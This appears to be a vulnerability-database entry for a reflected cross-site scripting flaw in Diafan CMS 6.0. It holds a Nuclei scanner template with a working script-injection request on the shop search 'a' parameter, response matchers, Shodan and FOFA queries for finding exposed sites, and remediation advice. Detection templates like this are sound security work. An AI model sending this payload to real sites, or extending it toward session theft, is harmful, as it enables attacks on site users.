Diafan CMS 6.0 contains a reflected cross-site scripting vulnerability in the shop search functionality. The "a" parameter is not properly sanitized before being reflected in the response, allowing attackers to inject and execute arbitrary JavaScript in the context of a victim's browser.
Details
Severity
中危
Published
PoC
Public
PoC
id: diafan-cms-xss
info:
name: Diafan CMS 6.0 - Cross-Site Scripting
author: kosoyyagent
severity: medium
description: |
Diafan CMS 6.0 contains a reflected cross-site scripting vulnerability in the shop search functionality. The "a" parameter is not properly sanitized before being reflected in the response, allowing attackers to inject and execute arbitrary JavaScript in the context of a victim's browser.
impact: |
Successful exploitation lets an attacker run arbitrary JavaScript in a victim's browser session, enabling session hijacking, credential theft, or actions performed as the victim.
remediation: |
Apply context-aware HTML output encoding to the "a" search parameter and validate user input before reflecting it into responses.
reference:
- https://github.com/diafan/diafan
classification:
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: diafan
product: diafan
framework: php
shodan-query: http.html:"DIAFAN.CMS"
fofa-query: body="DIAFAN.CMS"
tags: xss,diafan,cms,reflected,vuln
http:
- method: GET
path:
- '{{BaseURL}}/shop/?module=shop&action=search&cat_id=0&a=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&pr1=0&pr2=0'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- 'DIAFAN.CMS'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
# digest: 4a0a00473045022100e25715621b4998512be14a580f02598dfc353d30c0753e9bb6621dc00e57179a0220375f3783ef7646ed3ec497612361739bae13c0f5e6beeba9a03747f5c598011f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.